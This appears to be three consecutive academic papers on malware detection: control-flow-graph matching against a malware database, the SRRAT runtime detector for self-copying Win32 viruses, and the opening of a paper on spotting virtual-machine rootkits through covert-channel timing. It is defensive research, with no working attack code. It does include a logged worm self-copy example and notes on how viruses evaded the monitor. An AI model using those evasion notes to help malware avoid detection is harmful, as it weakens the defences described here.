vertices in G. From above, for any sub-CFG S we know that we can decide if S is a malware CFG in 
linear time. We have to do this operation n times, we conclude that we can decide if a sub-CFG of 
G is a malware CFG in quadratic time. In other words, we can decide if p is potentially infected by 
a malware in time O(|p|2).

4 Mutation and graph rewriting

Another issue of malware detection is the soundness with respect to classic mutation techniques. 
Indeed, some well known mutation techniques can alter the CFG of malicious programs. In order to 
recover a sound representation of the control flow we apply reductions on CFG. A reduction is 
defined by a graph rewriting rule. As a case study, we consider three reductions associated to classic 
mutation techniques. Of course several other reductions can be defined in order to handle more 
mutation techniques. The considered reductions are 

• Concatenate consecutive instruction vertices, to handle mutations which change the number 
of contiguous sequential instructions. 

• Realign code removing the linking jumps, to handle code permutation. 

• Merge consecutive conditional jumps. 

Table 2 illustrates those mutations providing a program, its mutated forms and their CFG. Table 3 
presents the graph rewriting rules used to recover the original CFG. 

It is worth to mention that those reductions could have been defined over the term representation of 
CFG, but the reader has to notice that a sub-term is not necessarily the term representation of the 
corresponding sub-graph.  We think that  this  topological  problem can be solved  considering an 
associative  commutative  term rewriting  theory  and  such  a  framework  could  enhance  the  time 
complexity of sub-CFG isomorphism. Moreover, it could allow treating CFG isomorphism with 
commutative aspects. For example, we can suppose that the outputs edges of a conditional jump can 
be permuted. The inclusion of such a theory clearly exceeds the scope of this paper.



Table 2:  Control flow graph mutations

Table 3:  Control flow graph reductions

5 Experiments

5.1 Building the database

A sample of 10156 malicious programs has been collected from public sources (vx heaven).  M 
stands for this set of malware. We extract CFG from any malicious programs accordingly to the 
method described in Table 1 and using the following naive heuristic. If  e ∈ Z ∪ N  then [e] = e, 
otherwise [e] = ⊥. Next, we apply the reductions defined in Section 4 on the resulting graph. 

The size of malware control flow graphs clearly impact the accuracy of the control flow detector. 
During our experiments the graphs extracted from some malware were too small to be relevant and 
the resulting detector made many false alerts because of a few such graphs. As a result, we impose a 
lower bound on the size of the graphs that we include in the database. Next, we have done several 
tests using different lower bounds and we have observed that 19 seems to be a good lower bound.

Let N ∈ N be the lower bound on the size of CFG. We build the automaton AM
N which recognizes 

the set of canonical terms of the malware CFG with a size greater than N that is

 L(AM
N) = {CTerm(CFG(m)) | m ∈ M and |CFG(m)|>N} 

Next, we minimize AM
N. Finally, we define the morphological detector DN as a predicate such that 

for any program p ∈ P 



• DN(p) = 1 if a malware CFG appears as a subgraph of CFG(p). 

• DN(p) = 0 otherwise. 

From the previous sections DN can be decided in quadratic time using AM
N.

As mentioned before, this design has several advantages. First, when a new malicious program is 
discovered, one can easily add the canonical term of its CFG to the database using the union of tree 
automata and a new compilation to obtain a minimal tree automaton.

5.2 Experiments

We are interested in false positives that are sane programs detected as malicious. We have collected 
2653 programs from a fresh installation of Windows Vista™. We write S this set of programs. Let 
N ∈ N be a lower bound on the size of malware CFG, we consider the following approximation of 
the false positives of the detector DN  

{p | DN(p) = 1 and p ∈ S}

Our  experiments  are  carried  out  on  a  personal  computer  with  the  following  configuration 
Intel(R) Xeon(TM) CPU 2.66 GHz CACHE 512 KB RAM 1 Mo. As said above we dispose of 
a collection of 10156 malicious programs and 2653 sane programs. Figure 5 gives the sizes of the 
reduced CFG extracted form the programs of those collections. On the  X axis we have the upper 
bound on the size of CFG and on the Y axis we have the percentage of CFG whose size is lower 
than the bound. 

 
Figure 5:  Sizes of control flow graphs

We observe that we were unable to extract the CFG from 5% of malware. Most of those programs 
are broken executable or programs with no entry point. The inclusion of those 5% to the database 
would require a manual analysis in order to identify the entry point.

The computation of AM
N takes about 25 min. It compiles a CFG database of about 4'700'000 vertices 

into a tree automaton composed of about 1'000'000 rules and it recognizes about 4'900 different 
terms.  This  number  of  terms is  lower than the  number  of  malicious programs because several 
programs have the  same CFG.  For  example  it  happens  that  the  different  variants  of  the  same 
malicious program have the same CFG. Moreover, when two programs use the same packer our 
extraction  algorithm  generally  yields  a  unique  CFG.  This  is  a  limitation  of  the  current 
implementation;  we cannot  deal  with  packed programs.  But  classic  techniques such as  generic 
depacking can be employed to overcome this issue.  



The minimization of AM
N takes about 20 h and it reduces the number of rules by 10'000 rules (that is 

1%). We observe that the minimization is quite long. Since we have used the naive algorithm we 
think that this can be improved. In fact, the time required to minimize the automaton is not so 
important. Indeed, within the context of an update of the malware database, during the minimization 
we can release AM

N. Even if this automaton is not the most efficient, it still recognizes the malware 
database  and  it  could  be  used  until  the  computation  of  the  minimal  automaton  is  terminated. 
Second,  the  reduction  is  modest.  To justify  this  result,  we  have to mention  that  for  efficiency 
reasons we have used a heuristic in order to pre-minimize AM

N during its construction. 

We obtain the morphological detectors DN from the automata AM
N. We have run those detectors on 

the collection of saneware in order to evaluate the false positives.  It  takes about 5 h 30 min to 
analyze  the  collection  of  saneware,  this  represents  the  analysis  of  2'319'294  sub-CFG.  Table 4 
presents the results. The first column indicates the considered detector according to the lower bound 
N. The second column indicates the number of false negatives, those are malicious programs whose 
CFG have sizes lower than the bound. The ratio is computed with respect to the whole database of 
10156 malicious programs. The last column indicates the number of false positives and the ratio 
with respect to the collection of 2653 sane programs.

Table 4:  Results of the experiments

5.4 Analysis.

As expected, we observe that the false negatives and the false positives respectively increase and 
decrease with the lower bound on the size of CFG. Over 19 nodes, the CFG seems to be a relevant 
criterion to discriminate malware. 

Concerning the remaining false positives with more than 19 nodes. The library sqlwid.dll and 
the  malicious program  Trojan-Proxy.Win32.Agent.x have  the  same CFG composed of  81 
nodes.  The  libraries  ir41_qc.dll and  ir41_qcx.dll,  and  the  malicious  program 
Trojan.Win32.Sechole have  the  same  CFG  composed  of  1226  nodes.  In  both  cases  the 
malicious programs seems to be based on the corresponding dynamic library and the extraction 
algorithm was not able to extract the entire CFG from the malicious program.



For comparison, statistical methods used in (Kephart & Arnold, 1994) induce false positive ratios 
between 0.5 % and 34 %. A detector based on artificial neural networks developed at IBM (Tesauro, 
Kephart, & Sorkin, 1996) presents false positive ratios lower than 1 %. The data mining methods 
surveyed in (Schultz, Eskin, Zadok & Stolfo, 2001) present false positive ratios between 2.2 % and 
47.5 %. Heuristics methods from antivirus industry tested in (Gryaznov, 1999) false positive ratios 
lower than 0.2 %.
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Detecting Self-Reference Replication Behavior in Win32 Viruses

Abstract

This paper presents an approach to detecting known and unknown viruses based on their  
attempt to replicate.  The approach does not require any prior knowledge about known  
viruses.  Detection  is  accomplished  at  runtime  by  monitoring  currently  executing 
processes  attempting  to  replicate.  Replication  is  the  qualifying  fundamental  
characteristic of a virus and is consistently present in all viruses making this approach 
applicable to viruses belonging to many classes and executing under several conditions.  
An implementation prototype of our detection approach called SRRAT is created and  
tested on the Microsoft Windows operating systems focusing on the tracking of user mode  
Win32 API system calls.

Introduction

Current  virus  detection  is  primarily  based  on  the  use  of  a  signature  database.  This 
approach is most effective in detecting previously discovered viruses. Unfortunately, this 
approach does not work well  in detecting newly released unknown viruses.  Behavior 
based detection is a more effective approach in detecting unknown viruses. The main 
drawback to behavior based detection is the proliferation of false positives. Despite this 
drawback,  behavior  based  detection  has  the  most  future  promise  in  detecting  newly 
released unknown viruses. Several behavior based  detection models can be found in the 
literature (Christodorescu, Jha, Maughan, Song & Wang, 2007; Szor, 2005; Filiol, 2005; 
Webster & Malcolm, 2007).  The detection methodology of each of these models is based 
on specific characteristics of a virus (Christodorescu et al., 2007). These methodologies 
depend on virus characteristics not consistently present in all viruses. This results in a 
successful detection capacity that is limited to a specific class of virus or under specific 
conditions.  dentifying a characteristic that is consistently present in many viruses can 
lead to successful virus detection in several classes and under many different conditions.

Replication is the fundamental qualifying characteristic of all viruses (Szor, 2005; Filiol, 
2005; Cohen, 1994). For a specific malware to be classified as a virus it must have the 
ability to replicate. This guarantees the replication characteristic is consistently present in 
all  viruses.  Replication  is  therefore  an  excellent  basis  for  detection  algorithms  to 
successfully detect viruses under several conditions and that belong to many different 
classes (Morales, Clarke, & Deng, 2007). When a virus replicates, it will execute a series 
of operations that will  cause the virus to  be written to some other area of the target 
system. The virus can infect one or more currently existing files and infect the system by 
copying itself to newly created target files. Both of these infection types require a series 
of read and write operations to succeed.

Self-reference is an essential property of the read and write operations executed by a 
virus during replication. A virus must refer to itself in order to replicate itself to some 



other area of the target system. The term “itself” refers to the static image of the virus file 
saved on a storage device such as a hard drive. The name of the virus file is the same as 
the name of the executing virus process. This name is passed between read and write 
operations as the source or ”from” argument of the replication. We name this property the 
self-reference property (SR) and replication that occurs using  SR  we identify as  SR-
replication. SR is the focus of this research and SR-replication is the centerpiece of our 
behavior  based  virus  detection  approach.  We  present  a  detection  approach  for 
SR−replication that is based on SR which focuses on the transitive relation between a 
running virus and a  target file.  The approach is  tested in a real-time scenario with a 
runtime monitoring implementation prototype called SRRAT which focuses on user mode 
Win32 API system calls. The testing resulted with detection of 220 viruses along with no 
false positives. We assume that by detecting  SR-replication we can detect both known 
and unknown viruses belonging to different virus classes and that execute under several 
conditions.  We  further  assume  SR-replication  to  be  unique  to  viruses  and  that  it  is 
unlikely for  SR-replication to occur in benign processes. We do recognize that not all 
viruses will replicate using SR-replication and these viruses may not be detected by our 
approach.

The contributions of this paper are:

1) A detection approach for viruses based on the SR − replication process which is 
present in all viruses and unlikely to occur in non-viral processes.

2) Ability to detect viruses with no prior knowledge of any specific virus which allows 
for detection of both known and unknown viruses.

3) An approach capable of detecting viruses independent of the virus’s implementation, 
compilation, functionality and programming techniques.  

The remainder of this paper is organized as follows: the following is background and 
motivation for this research followed by formal definitions for SR and SR−replication 
and  the  detection  approach.  The  continuing  describe  our  runtime  monitor  prototype 
SRRAT and the testing results. The finals present related work, conclusion and our future 
work.

Background

The fundamental  virus  models  (Cohen,  1994;  Adleman,  1988)  implicitly  define virus 
replication. Cohen provides the seminal results using Turning Machines to illustrate virus 
replication as symbols on a tape transferred from one segment of the tape to another 
segment of the same tape. During the transfer of symbols, the virus refers to itself on read 
operations one symbol at a time followed by a write operation of the just read symbol 
which illustrates  SR-replication.  Adleman defined infection as  virus replication using 
recursive  functions.  Von Neumann  created  a  self  reproducing automata  showing  that 
replication can be defined formally with computational models (Neumann, 1966). In the 
formalism of  both Adleman and Von Neumann,  SR  is  present  in  the  read and write 
operations that are executed during replication.  



A file can be considered as an abstract data type that has attributes and operations. The 
attributes of a file include:  name, identifier, type, location, size, protection, and time, 
date and user identification (Silberschatz, Galvin & Gagne, 2001). The basic operations 
of  a  file  include:  creating,  writing,  reading,  repositioning,  deleting  and  truncating 
(Silberschatz et al., 2001; Golden, Pechura, 1986). A virus is defined as a program that 
can infect other programs by modifying them to include possibly evolved version of itself 
(Cohen,  1994).  From the point  of  view of  the  system a virus  is  a  file  and therefore 
possesses the attributes and operations of files. We can deduce that if the virus copies 
itself is must therefore invoke the read and write file operations when it is infecting other 
programs. Therefore the virus must have the appropriate access privileges in order to 
perform the copy (Linden, 1976). In our approach it does not matter if the copy was 
successful or not since we are just interested in the virus making an attempt to replicate.  

In this paper we use the name, identifier and location file attributes to reference the static 
image of the file on a storage device. The name (identifier - a unique tag) of a file F is 
represented as F.name. The location of F is usually an argument of the write and/or read 
operations that are used during file replication. Writing F involves making a system call 
specifying both the name of  F  and the location where  F  will be written. To read  F  a 
system call is invoked that states the name of F and where in memory F or a part of F 
will  be placed. In the event that  F  cannot be written or read in one execution of the 
operation then a pointer keeps track of the next block to be written or read.

Motivation

Static analysis of viruses and benign processes was conducted to establish preliminary 
support  on our  assumptions  of  SR-replication.  A test  set  of  56 viruses  was  built  by 
downloading  live  samples  from  various  Internet  malware  repositories  (Vx  heavens; 
Offensive  computing).  A  second  test  set  of  benign  processes  was  built  using  56 
executable processes from the Microsoft Windows System32 folder. All the viruses were 
randomly chosen and belong to the Win32 class of viruses, network worms, email worms 
and  peer-to-peer  worms.  The  virtual  machine  software  VMware  Workstation  with 
Windows XP SP2 was used to execute the the test sets. The programs Api Spy 32 and 
Process Monitor (Apispy 32; sysinternals) were used to create log files documenting the 
system  calls  made  by  each  process  in  one  complete  execution.   Each  log  file  was 
examined  for  SR-replication.  This  was  determined  through  identification  of  SR  by 
examining the arguments of read and write system calls for a reference in the “from” 
argument that was the name of the currently executing process or a temporary memory 
location where the currently executing process had copied itself earlier in the execution. 
The results of the testing are in Tables 1 and 2.



Table 1: 56 Viruses with Replication Attempts

Table 2: 56 Benign Processes with Replication Attempts

The total number of SR-replication for each process listed in Tables 1 and 2 is the count 
of distinct filenames that each process attempted to infect in one execution. We did not 
verify if each attempt was a success or a failure.  The attempt to perform SR-replication 
is enough for us to label the process as a possible virus regardless if it is successful or 
not. The test results showed all 56 viruses attempted SR-replication at least one time to as 
many as over 400 times in a single complete execution. None of the benign processes 
attempted  SR-replication.  These  results  provided  support  of  our  assumptions  and 
motivation for this research.



Self-Reference Virus Replication

In this section we will present a formal definition for SR and SR-replication. An 
approach to detect SR-replication is also presented along with an example of its use.  

 Definition

An operation o is invoked with arguments (a1 . . . an) by a currently executing process P 
where P.name is the name of P. The static file image F saved on a storage device is from 
where P was created. The name and path of F is held in F.name and P.name→F.name, 
thus  P.name  refers  both  to  P  and  F.  The  label  T  is  a  temporary  memory  location 
containing a copy of F. When an operation o 2 O = {read(s, d),write(s, d)} where the 
source argument  s = ai  and destination argument  d = aj  with  1 ≤ i, j  ≤ n and i  ≠ j  is 
invoked by  P  where  s  є  S  =  {P.name, T}  then  o  is  said to have the  self-reference 
property  (SR).  The argument  d  є  D  =  {M, I.name}  where  M  is  temporary memory 
location and I.name is the name of the destination static image file I saved on a storage 
device with I.name ≠ P.name. The formal definition for SR is given in Figure 1.

Figure 1: Formal definition of SR property

We restrict the set O to only read and write operations. We assume a process only needs 
to execute a sequence of these two operations to attempt replication. The sets S and D are 
restricted to static  file  images and temporary memory locations because we are  only 
detecting  replication  of  one  file  to  one  or  more  files  where  one  or  more  temporary 
memory locations are used to complete the process. The basis case for SR(o) = true is 
with o.s = P.name. In this case P refers to F in an attempt to read or write itself to o.d. 
In the case where o.s = T, SR(o) = true when o(T, d) was invoked by P at time t, o(s,M) 
was invoked by P at time t` , t` < t and T = M = F. In this case P must have previously 
invoked at least one o with o.d = M, placing F into M which results in M converting to T.



By uniquely enumerating all o executed by P with 1 ≤ m ≤ n, we can define SR(om) in 
terms of FRom.s as shown in Figure 2. Testing for SR(om) is equivalent to establishing a 
transitive relation R between F and om.s.  When FRom.s  = true → F = om.s  through 
invocation of o1 . . . om by P.

Figure2: Transitive Relation of  SR

P invokes a sequence of om operations with 1 ≤ m ≤ n. If o1.s є S, om.d = I.name, o = 
write(s, d), I.name ≠ P.name and SR(F, I) = true then P is said to have performed self-
reference replication (SRreplication).  The formal definition of SR-replication in Figure 3 
focuses on detecting processes that read and write their static file image to other newly 
created or already existing static  file  images.  This can be accomplished in one write 
operation or in several read and write operations, also many memory locations can be 
used intermediately from F to I. SR(F, I) is established by testing for SR on every o that 
leads from P.name to  I.name, thus SR − replication(P) = true iff a transitive relation 
FRI = true. We assume that static file images can only be read from and written to. The 
definition does not detect a process that overwrites or modifies its own static file image.

Figure 3:  Formal Definition of SR-replication

Detection

When  P  starts  execution,  the  operations  o  can  be  traced  using  a  directed  graph  G 
consisting of edge = om and node = {P.name, T,M, I.name}. A graph is created for each P 
in a system and is linked to a specific P by the value of the first node of G which must 
always be P.name. Upon P invoking its first operation o where om.s = P.name a new G 
is created and its root node = P.name. When a new edge is added it must be of the form 
om.s  → om.d  with  s  є  S  and  d є  D and the value  om.s  must already be present as a 
previous om.d node in G with exception of cases where om.s = P.name which is the root 
node of G.  A sample graph is given in Figure 4 for a process named vx1.



Figure 4:  Sample Abstract Graph for vx1

We can see from Figure 4 each o is enumerated in order of execution by P. The first two 
operations read(M1,M3),  write(M3, sys.bat) are not included in the G since neither has 
om.s  = P.name which is vx1. The root node of the  G must always be the first  o of  P 
where o.s = P.name. We see this in read1 where read1.s = vx1.  Notice the operation 
read1,6, the notation shows the operation with the same arguments occurred twice, at the 
first and sixth invocation. Every operation in G is true for SR and correctly placed in the 
form  om.s  →  omd.   A test  for  SR  −  replication(vx1)  was done  when the operation 
write5(M2, services.exe) was added to G. The path vx1 rightarrow services.exe shows 
the transitive relation FRI. This path also satisfies our definition of SR − replication in 
Figure 3 and therefore  SR − replication(vx1) = true. When a graph  G of a process  P 
contains  a  path  from  P.name  →→  I.name  then  FRI  =  true  which results  in  SR  − 
replication(P) = true.  Construction of G only has to continue until SR − replication(P) 
=  true  at  which  point  P  can  be  flagged  as  exhibiting  virus  replication.  If  P  finish 
execution and SR − replication(P) = false then P is assumed benign.



Figure 5:  Reorganized abstract graph for vx1 after removal of node M_2

If P invokes an operation om(s, d) where SR(O) = false and om.d is already a node of G, 
then  om.d  must be removed in one of two ways:  If  om.d  is a leaf node, it  is  simply 
removed and G remains the same. If om.d is an internal node in G then om.d is removed 
and  G  is reorganized by eliminating all incoming edges to  om.d  and repositioning all 
outgoing edges from om.d to each child node to come from each parent node of om.d to 
the child node. Figure 5 shows graph  G from Figure 4 after removal of node  M2. The 
incoming edge Read1,6 from the parent node vx1 was eliminated and the outgoing edges 
Read4  and  Write5  were each reposition to come from the parent node  vx1 to the child 
nodes M6 and services.exe.  

Our approach is based on general read and write operations.  We assume any specific 
operation that performs a read, write or copy by specifying in the arguments the source 
and destination can be equivalently written using the general read and write operations 
used in this research. Table 3 shows some Win32 API calls (windows api ref.) and their 
conversion  to  an  equivalent  general  read  or  write  operation.  Note  that  we  are  only 
interested in the source and destination arguments of the operation.

Our approach focuses on detecting SR − replication on a local machine, it currently does 
not detect  SR  −  replication  from one local machine to another across a network, we 
reserve this for future work. We are aware of the ability of some viruses to replicate 
without using SR − replication. This can be accomplished either by replicating from a 
source  that  is  not  P  or  invoking  commands  in  some  other  process  that  results  in 
replicating P.  These types of replication we refer to as indirect self-reference replication, 
(ISR − replication), and is currently not detectable by our current approach. Expanding 
our approach to include ISR − replication is reserved for future work.



Table 3:  Win32 API Calls with Equivalent Read/Write Operation

Example

In this section we will use portions of the log file of a virus used in our static analysis to 
give an example of SR and SR − replication using a graph for testing. The log file was 
created using API SPY 32 which logs all the Win32 API calls invoked by a process, 
(Windows api ref.;  Nebbett, 2007). The example in Figure 6 is of the Cassidy worm, a 
packed Peer-to-Peer worm (Szor, 2005; Symantec) that from our static analysis testing 
results in Table 1 attempted replication 19 times. From the partial log file we see the 
Cassidy worm attempted to copy itself six times using the API call CopyFileA which 
is the same as the API call CopyFile but is used when dealing with the ANSI character 
set.  From  Table  3,  CopyFileA  is  mapped  to  write  (lpExistingFileName, 
lpNewFileName). As an example, the fourth CopyFileA operation is mapped to:

write(“C:\DOCUME 1\JAM-VX 1\Desktop\CASSIDY.EXE”, “C:\WINDOWS\Shared 
Folder\kazaa hack.exe”).

All the other operations are mapped in similar fashion. From the graph we see rootnode 
= CASSIDY.EXE and SR(om) = true for each om in the graph. Consider

write4(C:\DOCUME 1\JAM-VX 1\Desktop\CASSIDY.EXE, C:\WINDOWS\Shared 
Folder\kazaa hack.exe).

We can see:

P =CASSIDY.EXE, P.name = write4.s = C:\DOCUME 1\JAM-VX 
1\Desktop\CASSIDY.EXE and I.name = write4.d = C:\WINDOWS\Shared Folder\kazaa 
hack.exe.

Applying these values to the definition of SR in Figure 1, we see SR(write4) = true and 
this result holds for all the other  writem  operations as well. When operation  write1  was 



invoked, the graph was updated and a test for  SR − replication was conducted since a 
write operation occurred with write.d = I.name = diablo 2 pindlebot.exe. According to 
the definition in Figure 3, SR − replication(CASSIDY.EXE) = true. Had this been a real 
time  detection,  the  process  would  have  been  flagged  as  exhibiting  virus  replication 
behavior. To allow readability, only the filenames were placed in the graph of Figure 6 
when it should be the complete path and filename.

Implementation Prototype

To test our approach in a real-time scenario, a runtime monitor prototype named SRRAT 
(SR-Replication Analysis Tool) was created. The architecture is shown in Figure 7. Our 
detection was based on tracking a specific set of Windows API calls (Windows api ref.; 
Nebbett, 2007) invoked by any processes currently running user mode on a local machine 
running  Windows  XP.  The  prototype  consists  of  two  main  components:  API  call 
processor  and  the  SR-replication  Detector.   What  follows  is  a  description  of  these 
components.

The main purpose of the API call processor component is to detect the specific API calls 
we are interested in tracking and sending their mapped version to the SR-Replication 
component. When a specific API is detected the process is temporarily suspended. The 
API  is  passed  along  with  its  arguments  to  the  Map  API-RW subcomponent.   This 
subcomponent works with the API repository which contains a mapping of the API calls 
being traced and their  equivalent  read/write  operation with appropriate  arguments for 
source and destination. The mapping used during our prototype testing is listed in Table 
4.  Mapping  is  performed  by  parsing  the  string  containing  the  API  into  name  and 
arguments.  The  name  is  matched  in  the  mapping,  a  string  containing  the  matching 
operation is created along with the source and destination arguments. To decide which 
arguments  to  use,  our  mapping  contain  position  numbers  for  the  operations.  These 
numbers identify the position of the API call argument to be used for the source and 
destination arguments. The newly mapped operation and its arguments are then passed to 
the second component of SRRAT.



Figure 6:  SR – replication of Cassidy Peer-to-Peer Worm

The SR-replication Detector  component  tests  incoming operations  for  SR  and  SR  − 
replication  according to Section 4. Upon arrival, an operation is passed to the SR-test 
subcomponent which will first search in the Graph Store for a graph belonging to P that 
invoked the operation being tested. If no graph is found and om.s = P.name then a new 
graph is created with rootnode = P.name, the operation is then evaluated to true for SR. 
If a graph is found, om.s is searched in the nodes of the graph. A matching node indicates 
om.s was previously an om.d and that node already passed the test for SR, if it had not 
passed it would not appear in the graph. A new edge is created from om.s  to  om.d and 
added to the graph in the Update Graph subcomponent. Note since om.s is already a node 
in the graph as a previous  om.d  the new edge goes from the already present node to a 
newly created node containing  om.d  of the current operation. If  no matching node is 
found for om.s it is discarded and a search for om.d is performed. If a match occurs this 



Figure 7:  SRRAT Architecture

indicates that a node on the graph has been modified by an om.s that is not P or T. if this 
node is a leaf then it is removed from the graph. If it is internal then it must be removed 
and the graph reorganized. In the case where no node was found matching om.s, the test 
for SR(o) = false since transitivity cannot be established using the graph. After a graph 
has been updated, a check is made for om.d = I.name on the just added node. If the check 
is true then the graph is traversed to attempt establishing a path from P.name to I.name. 
If this path exists and P.name ≠ I.name indicates P attempted to write itself to the static 
file  image  I.name  and  therefore  SR  −  replication(P)  =  true.  At  this  point  SRRAT 
terminates P and creates an entry in a log file indicating P was terminated for exhibiting 
virus replication behavior. If no test for  SR −  replication  is performed,  P is removed 



from suspension and allowed to continue normal execution until another of the tracked 
API calls is invoked, in which case the process repeats.

Tests and Results 

Testing of SRRAT was done on a PC running Windows XP Service Pack 2. Our testing 
tracked the API Calls in Table 4. A test set of 500 viruses was used by executing each one 
in API SPY 32 and analyzed for use of Win32 API calls in user mode, this resulted in 347 
viruses  usable  for  our  testing.  The test  set  viruses  were acquired from Internet  virus 
repositories (Vx heavens; Offensive computing). SRRAT monitored the PC for three full 
working days under normal conditions.  A full virus scan of the system was conducted to 
clean the system of any possible viruses prior to testing. When testing started, the PC 
executed several benign processes both system and user applications including the most 
common  software  titles  such  as  Microsoft  Office  and  Adobe  PDF  reader.  Internet 
browsing was allowed under default Windows security settings. We also intentionally ran 
all  the  executable  processes  of  the  Windows  System32  folder.  On  day  three  we 
introduced our set of test viruses into the PC by executing each one individually. No 
antivirus software was installed on the machine during this period and the PC’s Internet 
access was disconnected.

Discussion

SRRAT did not terminate any of the non-viral processes running on the PC during the 
first two days of testing.  The total number of non-viral processes monitored during this 
period was approximately 334. The balance of processes were started by Windows at 
startup or the user during normal usage on these two days. No noticeable delay occurred 
on the system or any of the processes by SRRAT. 220 out of 347 viruses successfully 
replicated and each one was detected as exhibiting  SR−replication and terminated, the 
complete list of the terminated viruses is in Appendix 8. The test viruses not detected 
were  found to  subvert  SRRAT by 1)hiding  from the  operating  system in  user  mode 
2)using  anit-hooking  techniques  and  3)directly  loading  and  invoking  API  calls.  The 
SRRAT testing  results  in  a  real-time  scenario  produced  no  false  positives.  On  four 
occasions during our virus testing on day three, the system became unstable and had to be 
rebooted. Later analysis of system changes during the test period revealed some viruses 
had injured [7] the PC before performing SR−replication. Somve viruses did injure the 
computer, this leads us to conclude that our detection approach is most effective when a 
virus attempts SR − replication before injuring a system. In cases where the virus injures 
the system first then performs  SR −  replication, the virus can be detected by SRRAT 
which can stop its proliferation and any further injury. It is possible for a virus to injure 
the  system,  never  perform  SR−replication  and therefore  not  be detected by SRRAT. 
Overall, SRRAT can prevent a virus from performing SR − replication to proliferate but 
it cannot always stop a virus from injuring a system.



Table 4:  Mapping of Win32 API Calls Used in Testing  

Related Work

Analysis of system call arguments to detect malicious attacks is found in (Mutz, Valeur, 
Vigna  &  Kruegel,  2006).  Several  models  are  presented  to  characterize  system  call 
arguments. These characterizations are used to detect anomalous behavior. The research 
states two assumptions: (1) malicious attacks appear in system call arguments. (2) system 



call arguments used in malicious attacks substantially differ from arguments used during 
normal  application execution.  The models detect  anomalies  in  the arguments  such as 
unreasonably long string length, unusual characters and illegitimate values. The analysis 
of the arguments are used to create a score that determines if the system call is part of an 
attack. The models were trained with sequences of system calls giving no regard to the 
sequence but focusing only on the arguments.  The testing results showed the models to 
be effective in detecting malicious attacks with low false positives. Our research also 
analyzes system call arguments without considering the sequence in which the system 
calls are made.  The difference in our approach is we only consider write and read system 
calls used during replication of a virus.  We do not detect anomalies in the actual system 
call arguments, instead we use the arguments to show relationships between read and 
write system calls. Our approach also requires no training, detection is done solely based 
on  the  appearance  of  read  and  write  operations  containing  SR.  These  differences 
facilitate our approach to detect unknown viruses as opposed to (Mutz et al., 2006) where 
a false negative can occur if an attack not seen in the training session appears in a system 
call argument.

Skormin et al.  present an approach to detect replication in self  contained propagating 
malware (Skormin, Volynkin, Summerville & Moronski, 2007). Their detection is done 
by monitoring at run-time the execution of normal code under regular conditions. They 
monitor  the behavior  of  each process and analyze the system calls,  input  and output 
arguments and the execution results.  The Gene of Self Replication models the replication 
of a process using building blocks. Each block is a portion of the self replication process 
including opening, closing, reading, writing and searching for files and directories.  The 
approach detected several viruses across many classes with little or no false positives. 
Our detection method focuses only on read and write operations that have SR. This is a 
simplification of the Skormin et. al. approach which consider additional operations such 
as search, open, create as essential parts of a replication process. Our simplified approach 
reduces the overhead time and analysis needed to detect virus replication resulting in 
faster detection.

Conclusion and Future Work

This research has presented an approach to detecting virus behavior by identifying their 
attempt  to  replicate.  This  behavior  is  characterized  by  the  SR  property,  which  is  a 
transitive relation existent when a process refers to itself in  read  or  write  operations 
during a replication attempt. Self-reference replication (SR−replication) is the focus of 
our detection approach. One of the key strengths of our approach is the ability to detect 
both known and unknown viruses without prior knowledge. The detection approach is 
independent  of  the  virus  implementation,  compilation,  programming  techniques  and 
functionality.  The approach can be implemented at  various operating system levels to 
detect virus behavior which allows for fast detection with reduced overhead. Our real 
time  monitor  prototype  SRRAT successfully  detected  SR−replication  in  220  viruses 
while  producing  no  false  positives.  Our  future  work  includes  extending  our  current 
approach to detect indirect self-reference replication (ISR−replication) and also  SR  − 
replication of a virus from one computer to another via wired and wireless networks. We 
also plan to created a new detection engine running fully in kernel mode to detect native 



API calls. As viruses emerge with new techniques to replicate using SR−replication and 
ISR − replication, our approach must be adapted to ensure proper detection.



Figure 8:  List of Viruses Detected by SRRAT
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Detecting Virtual Rootkits with Cover Channels

Abstract
Virtual machines have increased the risk of malwares spreading without being detected. Vir-
tual rootkits have the potential to avoid detection by security software if the virtual machine
is fully transparent. This paper deals with the specific issue of detecting virtual machines. The
basic detection scheme consists in timing analysis. We show the limitation of this technique
and how to improve detection schemes with cover channel. This result is mostly based on
the existence of hidden shared states in current commodity processors. Finally, we show the
advantages and the limitations of our scheme depending on the threats model.

Introduction

The recent come back of virtual machines in computer science (Rosenblum, 2006) has brought
many questions in computer security. Virtual machines have been used in many different
contexts of computer security from honeypots (Provos, 2004), virus analysis (Aziz, 2006) to
stealthier rootkits (King et al., 2006; Rutkowska, 2006). In all these previous cases, the basic
assumption is that that a virtual machine is transparent: an execution on a native hardware
can not be distinguished from an execution on a virtual machine. This is highly critical for
the design of undetectable malwares (Rutkowska, 2006).

The main goal in the hunt of virtual machine is to find an evidence of a hypervisor
execution. In this paper, we propose to use the internal state of superscalar processors to
detect the hypervisor activity. There exist many optimization mechanisms in a commodity
processors (e.g. cache, branch prediction, . . . ) which are shared by all the executed processes.
This is particularly interesting for establishing covert channels between processes. We show
how to detect a hypervisor using cover channels. We show the advantage and the limitations
of our methods.

The paper is organized as followed. In the first section, we give the basic definitions
conserning virtual machines, the existing detection scheme and we present our threats model.
Then we present our new detection scheme based on cover channel. We mostly introduce
the problem of execution regularity. We also discuss the detection of the different family of
virtual machine and we will especially discuss a new feature, i.e. time masking, included in
commodity processor and proposed to support virtual machines execution. We show how
it may harden virtual machine detection using timing fingerprinting and how our test may
survive this modification. We conclude the paper by discussing the possibilities to design
transparent virtual machines.

Preliminaries

Virtual Machines

The early works of Goldberg and Popek (Goldberg, 1972; Popek, 1974; Goldberg, 1974) have
defined some of the hardware requirements to be able to run a hypervisor, i.e. the software



which controls the different virtual machines and the physical system. The capability to host
a hypervisor, also known as virtual machine monitor (VMM), is highly critical to assess the
security of a virtualization system.

Proposition 1. A hypervisor can be implemented if and only if the set of sensitive instruc-
tions of the considered computer is a subset of the privileged computer instructions.

Property 1. The execution of a process on a virtual machine must be as closed as possible
to the direct execution on the hardware.

Property 2. A process executed under the control of a hypervisor must have the same be-
haviour as a process running directly on the hardware.

The Proposition 1 was later investigated by Robin et Irvine in (Robin & Irvine, 2000).
They have found new critical properties that must be satisfied by the processor ISA in order
to run a secure VMM. This work of Robin and Irvine (Robin & Irvine, 2000) is the theoretical
foundation of the first VMM detector Blue Pills (Rutkowska, 2004).

The purpose of Property 1 is to distinguish a virtual machine from an emulator. An
emulator is able to host virtual machines from different hardwares (e.g. different instruction
sets). An additional ISA translation must be done to allow the execution of a process on the
hardware. The Property 2 is certainly the most important one. Popek and Goldberg allow
only one exception to this property: the execution time. Indeed, they consider that the VMM
can have to perform extra operations during the execution of a virtualized process. We will
